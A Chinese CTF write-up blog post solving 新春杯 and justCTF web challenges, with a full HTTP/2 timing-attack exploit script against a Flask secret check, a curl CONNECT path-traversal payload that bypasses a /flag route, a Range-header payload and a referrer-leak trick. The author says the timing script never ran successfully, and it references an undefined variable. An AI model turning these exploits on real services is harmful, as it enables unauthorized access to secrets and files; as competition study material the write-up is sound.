• 新春杯+justCTF


    首先是新春杯题目就离谱,很顶很顶,质量很高,然后这个比赛出不了东西之后又去打justctf了,感觉justCTF更友善一些(逃),膜了几位师傅,放两个大师傅传送门。

    清华脑哥

    ha1c9on

    然后本来想几场比赛分开写,但是新春杯我真的搞不懂。。。。

    borrow_time

    前置知识

    curl http2

    关于curl接受http2命令的解释

    所以我们使用命令可以抓取http2包

    curl --http2-prior-knowledge

    信息收集

    先正常测试,端口,旁站,域名,抓包,wireshark等等,反正常见的信息收集都试了不行

    curl http://8.140.110.118/ --output test

    winhex打开看看

    google发现确实有相关内容

    看了一下这是http2的包

    curl --http2-prior-knowledge http://8.140.110.118/

    成功获取到内容,发现还有注释中还有/src目录,继续读,flask

    代码审计

    #!/usr/bin/env python
    
    import os
    import time
    import hashlib
    
    from flask import Flask, render_template, request
    
    app = Flask(__name__)
    
    FLAG = os.environ["ICQ_FLAG"]
    SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]
    
    SLEEP_TIME = 10 ** -10
    
    @app.route("/", methods=['POST', 'GET'])
    def login():
        if request.method == 'GET':
            return render_template('login.html')
        else:
            secret = request.form['secret']
            if len(secret) != len(SECRET):
                return "^_^"
            for a, b in zip(secret, SECRET):
                if a == "*":
                    continue
                elif a != b:
                    return "INCORRECT"
                else:
                    time.sleep(SLEEP_TIME)
            if "*" in secret:
                return "INCORRECT"
            return FLAG
    
    @app.route("/src")
    def src():
        with open(__file__) as f:
            return f.read()                                                                           
    

    代码量还是很少的,不难理解,就是要不以GET形式发送secret,并保证secret字段长度相等,并有*。其实搜一下就可以发现几乎是WCTF2020 Spaceless Spacing原题

    搜索exp

    编写exp

    import os
    import asyncio
    import time
    import string
    import logging
    
    from hyper import HTTP20Connection
    from h2time import H2Time, H2Request
    
    # Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
    TIMING_ITERATIONS = 2  # 3
    NUM_REQUEST_PAIRS = 10  # 20
    SECRET_CHARSET = '1234567890abcdef'
    COMPARISON_CHAR = "*"  # This must not be in SECRET_CHARSET
    
    target = '8.140.110.118:80'
    
    logging.basicConfig(level=logging.INFO)
    logger = logging.getLogger("exploit")
    ua = 'h2time/0.1'
    
    
    def get(resource):
        logging.disable(logging.INFO)
        try:
            connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
            connection.request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + resource)),
                                                'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + resource)
            return connection.get_response().read()
        finally:
            logging.disable(logging.DEBUG)
    
    
    async def time_difference(a, b):
        request_a = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + a)),
                                               'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + a)
        request_b = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + b)),
                                               'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + b)
        a_quicker_count = 0
        b_quicker_count = 0
        for _ in range(TIMING_ITERATIONS):
            async with H2Time(
                    request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
            ) as h2t:
                results = await h2t.run_attack()
                b_quicker_count += len([result for result in results if result[0] < 0])
                a_quicker_count += len([result for result in results if result[0] >= 0])
            async with H2Time(
                    request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
            ) as h2t:
                results = await h2t.run_attack()
                a_quicker_count += len([result for result in results if result[0] < 0])
                b_quicker_count += len([result for result in results if result[0] >= 0])
        return a_quicker_count, b_quicker_count
    
    
    async def exploit():
        secret_length = 10
    
        logger.info("")
        logger.info(f"Secret Length: {secret_length}")
        logger.info("")
    
        secret = ""
    
        for _ in range(secret_length):
            start = time.time()
    
            def spaced_secret_guess(guess):
                return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)
    
            tasks = {
                char: asyncio.create_task(
                    time_difference(
                        spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                    )
                )
                for char in SECRET_CHARSET
            }
            await asyncio.gather(*tasks.values())
    
            lowest_char_quicker = None
            lowest_char_quicker_count = float("inf")
            for char, task in tasks.items():
                comparison_quicker_count, char_quicker_count = task.result()
    
                if char_quicker_count < lowest_char_quicker_count:
                    lowest_char_quicker = char
                    lowest_char_quicker_count = char_quicker_count
    
                logger.info(
                    f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
                )
    
            secret += lowest_char_quicker
    
            end = time.time()
    
            logger.info("")
            logger.info(f"Secret Progress: {secret}")
            logger.info(f"Secret Progress took: {end - start}s")
            logger.info("")
    
        # correct = get(f"{secret}")
    
        logger.info("")
        logger.info(f"Secret: {secret}")
        logger.info(f"Correct: {correct}")
        logger.info("")
    
    
    loop = asyncio.get_event_loop()
    loop.run_until_complete(exploit())
    loop.close()
    

    脚本就是打不通,不知道为什么,吐了。问了L1near大师傅,可能是我本地的问题。然后因为有time.time_ns(),是python3.7以上才有的新特性,我vps和kali也打不了,只能这样了。。。

    下面的题都是justctf里的,这比赛我好爱,全是技巧,满满的干货

    Forgotten name

    意思是要找到他的secret domain

    首先我们看其他web题,url都为 .web.jctf.pro

    所以我们找到一个Certificate Search网站

    crt.sh

    可以发现以6a开头的名称,hex解码,得到flag

    Computeration

    这道也挺离谱,一开始以为下面的链接真的就是向管理员报告,我说国外的比赛都这么人性化了,然后上面的url就是个前端,看了好久也没思路,结果。。。。

    上图分别是两个url的界面,我们可以看到上面的url就是一个写note的界面,客户端做的。没什么东西,后面的url会发送我们传入的内容给admin,那么我们还是和之前博客的思路一样,在https://beeceptor.com/创建一个子域,检查传过来的http流量

    (这里有个坑点,我用firefox+burp无论如何都会显示Captcha Error: invalid-input-response,换了chrome之后就好了)

    看看Request Body

    发现referer处会传来验证的url,我们curl一下,发现直接出现flag

    主办方后面说了这是非预期解,因为在写Referrer-policy时手误,输入no-referer而不是no-referrer,导致输入unsafe-url

    Go-fs

    前置知识

    curl --path-as-is选项

    详情见此文章

    大致意思就是

    curl --path-as-is会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段

    CONNECT请求

    观察文档发现,对于CONNECT请求,path和host都不会改变其内容

    代码审计

    虽然我不懂go语言,但是语言不都是相通的嘛,稍微看看也可以

    	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    		w.Header().Set("Served-by", VERSION)
    		w = &wrapperW{w}
    		fileServ.ServeHTTP(w, r)
    	})
    
    	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
    		w.Header().Set("Served-by", VERSION)
    		w.Write([]byte(`No flag for you!`))
    	})
    

    看到这里构造两个路由,访问flag会被阻止,所以我们思考通过怎么的方式可以绕过

    payload

    根据上述两个前置知识,搭配使用

    payload:

    curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag
    

    关于另一种,也就是预期解,我复现一直失败,但是这种方法也可以记录一下

    具体分析见此文章

    payload:

    curl -v -H 'Range: bytes=--2' url
    
  • 相关阅读:
    C#中 @ 的用法
    ASP.NET页面间传值
    ASP.NET中常用的文件上传下载方法
    把图片转换为字符
    把图片转换为字符
    JavaScript 时间延迟
    Using WSDLs in UCM 11g like you did in 10g
    The Definitive Guide to Stellent Content Server Development
    解决RedHat AS5 RPM安装包依赖问题
    在64位Windows 7上安装Oracle UCM 10gR3
  • 原文地址:https://www.cnblogs.com/karsa/p/14361324.html
Copyright © 2020-2023  润新知